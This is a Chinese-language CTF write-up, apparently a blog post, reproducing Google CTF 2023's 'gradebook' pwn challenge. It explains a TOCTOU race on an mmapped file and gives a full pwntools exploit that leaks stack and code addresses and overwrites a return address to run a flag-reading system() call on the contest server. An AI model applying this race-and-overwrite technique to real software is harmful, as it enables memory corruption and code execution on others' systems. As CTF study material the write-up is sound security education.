googlectf2023 gradebook 复现(TOCTOU)

Gradebook 结构

根据函数 sub_2247 开头的部分可以推测出 gradebook 的结构

0x4 year
0x8 grade book name (32 bytes)
0x28 student name (32 bytes)
0x48 size of this gradebook (uint)
0x50 first grade structure offset
0x58 new grade structure offset

每一条记录 grade 是一个大小为 0 x 40 的结构体

0x0 class
0x8 course title (22 bytes)
0x1e grade (2bytes)
0x20 teacher (12 bytes)
0x2c room
0x30 period
0x38 next structure offset

Toctou

漏洞点是 TOCTOU (Time-of-check to time-of-use) ,先检查后使用描述的是一种文件的操作方式,比如:

// NOTE: This program has setuid access rights flag

if (access("filePathName", W_OK))
{
   exit(EXIT_FAILURE);
}

fd = open("filePathName", O_WRONLY);
write(fd, buffer, sizeof(buffer));

在一个文件完成检查到使用的时间间隙,文件信息可能被改变。在上面的程序中,access() 这个检查和 open() 这个实际访问操作中可能会有其他(恶意)程序对文件系统进行更改,从而导致恶意访问发生。

在本题中,由于使用 mmap 来映射文件内容,内存中的数据和文件数据是直接对应的,内存的变化会被自动写入磁盘,磁盘的变化也会自动载入内存。因此一次连接 open file,再有一个新的连接像已经打开的文件 upload 一个新的 gradebook,设置一个很大的 gradebook size (绕过了 buf. St_size 限制)就可以读写指定的地址

//绕过了以下 check,正常上传的 dradebook 的偏移不会超过 mmap 映射的区域
if ( *((_QWORD *)gradebook_addr + 9) > len
|| *((_QWORD *)gradebook_addr + 11) > *((_QWORD *)gradebook_addr + 9)
|| *((_QWORD *)gradebook_addr + 11) <= 0x5FuLL )

我们可以将头尾两个 grade srtucture 的偏移设置成需要控制的栈上内存的地址和 gradebook 所在地址 0x4752ADE50000 的偏移,就可以泄露 (first) 和修改 (new) 返回地址到 system("cat /flag"); 附近了

# leak fun_addr
grade_book = 0x4752ADE50000
fake_file = file_data[:0x48]
fake_file += p64(0xffffffffffffffff) #size of this gradebook (uint)
fake_file += p64(ret_addr - grade_book) # first grade structure offset
fake_file += p64(ret_addr - grade_book) # new grade structure offset

Exp

from pwn import *

elf_path = "./chal"
ip = "gradebook.2023.ctfcompetition.com"
port = "1337"
content = 0

context(os='linux',arch='amd64')
if content == 1:
    os.system('tmux set mouse on')
    context.terminal = ['tmux','splitw','-h']
    # p = process(elf_path)
    p_fake = process(elf_path)
    p = gdb.debug(elf_path)

else:
    p = remote(ip, port)
    p_fake = remote(ip, port)


r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

# ----------------------------------------------------------

# upload a narmal gradebook
sla(b'PASSWORD:\n', b'pencil')
sla(b'3. QUIT\n\n', b'2')
sla(b'ENTER FILENAME:\n', b'x')
rud(b'GENERATED FILENAME: ')
file_name = ru(b'ENTER')[:44].decode()
f = open("gradebook", "rb")
file_data = f.read()
sla(b'FILE SIZE:\n', str(len(file_data)).encode())
sa(b'SEND BINARY FILE DATA:\n',  file_data)
sla(b'3. QUIT\n\n', b'1')
sla(b'ENTER FILENAME:', file_name.encode())
log.success(file_name)

# leak stack_addr
sla(b'6. QUIT\n\n', b'1')
sla(b'CLASS:\n', b'1')
sla(b'COURSE TITLE:\n', b'1')
sla(b'GRADE:\n', b'1')
sla(b'TEACHER:\n', b'1')
sla(b'ROOM:\n', b'1'*4)
sla(b'PERIOD:\n', b'1')
ru(b' 1111     ')
ret_addr = u64(ru(b'\x7f').ljust(8, b'\x00')) + 0x38
leak('ret_addr', ret_addr)

# leak fun_addr
grade_book = 0x4752ADE50000
fake_file = file_data[:0x48]
fake_file += p64(0xffffffffffffffff)
fake_file += p64(ret_addr - grade_book)
fake_file += p64(ret_addr - grade_book)
p_fake.sendlineafter(b'PASSWORD:\n', b'pencil')
p_fake.sendlineafter(b'3. QUIT\n\n', b'2')
p_fake.sendlineafter(b'ENTER FILENAME:\n', file_name.encode())
p_fake.sendlineafter(b'ENTER FILE SIZE:\n', str(len(fake_file)).encode())
p_fake.sendafter(b'SEND BINARY FILE DATA:\n',  fake_file)
sla(b'6. QUIT\n\n', b'2')
sla(b'WHICH GRADE:\n', b'0')
ru(b'\x0a   ')
fun_addr = u64(rud(b'   ').ljust(8, b'\x00'))
leak('fun_addr', fun_addr)

# change ret addr
sla(b'6. QUIT\n\n', b'1')
sla(b'CLASS:\n', p64(fun_addr - 0xc93))
sla(b'COURSE TITLE:\n', b'1')
sla(b'GRADE:\n', b'1')
sla(b'TEACHER:\n', b'1')
sla(b'ROOM:\n', b'1'*4)
sla(b'PERIOD:\n', b'1')

p.interactive()
posted @ 2023-09-09 10:26  giacomo捏  阅读(17)  评论(0编辑  收藏  举报